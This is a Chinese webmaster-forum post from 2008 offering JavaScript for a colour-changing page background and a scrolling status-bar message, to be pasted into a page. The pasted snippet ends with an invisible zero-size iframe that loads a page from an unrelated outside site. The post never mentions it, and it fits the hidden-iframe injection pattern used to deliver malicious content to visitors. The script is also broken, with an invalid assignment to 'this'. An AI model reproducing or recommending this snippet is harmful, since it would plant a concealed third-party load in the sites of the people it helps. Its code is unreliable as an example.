查看: 6341|回复: 0
打印 上一主题 下一主题

很炫很实用:会变色的网页背景特效代码

[复制链接]
跳转到指定楼层
1#
发表于 2008-5-23 13:35:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
台州网址导航
只要插入网页就可轻松办到,不来一起试试看么?

<!-- 用<body onLoad="chgCol(); pingpong();">替换原有的<body> -->
<!--将以下代码加入HTML的<Body></Body>之间-->
<script language="JavaScript">
<!-- Hide from JavaScript-Impaired Browsers
var pos = 10;
function initArray() {
this.length = initArray.arguments.length;
for (var i = 0; i < this.length; i++) {
  this = initArray.arguments;
  }
}
var col=new initArray("4b","5b","8b","8b");
col[0] = "white";
col[1] = "coral";
col[2] = "orange";
col[3] = "red";
col[4] = "greenyellow";
col[5] = "lime";
col[6] = "turquoise";
col[7] = "coral";
col[8] = "blueviolet";
col[9] = "violet";

function chgCol() {
  pos++;
  if (pos<0||pos>9) {
    pos = 0;
    }
  document.bgColor = col[pos];
  setTimeout("chgCol()",1000);
}

var yourwords = "";var buffer1="           ";
var buffer2="           ";
var message1=buffer1+yourwords+buffer2;
var dir = "left";var speed =150;
function pingpong(){if (dir == "left")
{    message2=message1.substring(2,message1.length)+"  ";
   window.status=message2;  
  setTimeout("pingpong();",speed);
   message1=message2;
   if (message1.substring(0,1) == "*") dir="right";
  }
else
{    message2="  "+message1.substring(0,message1.length-2);
   window.status=message2;   
setTimeout("pingpong();",speed);
   message1=message2;
   if (message1.substring(message1.length-1,message1.length) == "*") dir="left";
}
}
// -->
</script>
<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>
</body>
</html>
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 转播转播 分享分享 分享淘帖
台州维博网络(www.tzweb.com)专门运用PHP+MYSQL/ASP.NET+MSSQL技术开发网站门户平台系统等。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

网站推广
关于我们
  • 台州朗动科技(Tzweb.com)拥有多年开发网站平台系统门户手机客户端等业务的成功经验。主要从事:政企网站,系统平台,微信公众号,各类小程序,手机APP客户端,浙里办微应用,浙政钉微应用、主机域名、虚拟空间、后期维护等服务,满足不同企业公司的需求,是台州地区领先的网络技术服务商!

Hi,扫描关注我

Copyright © 2005-2026 站长论坛 All rights reserved

Powered by 站长论坛 with TZWEB Update Techonolgy Support

快速回复 返回顶部 返回列表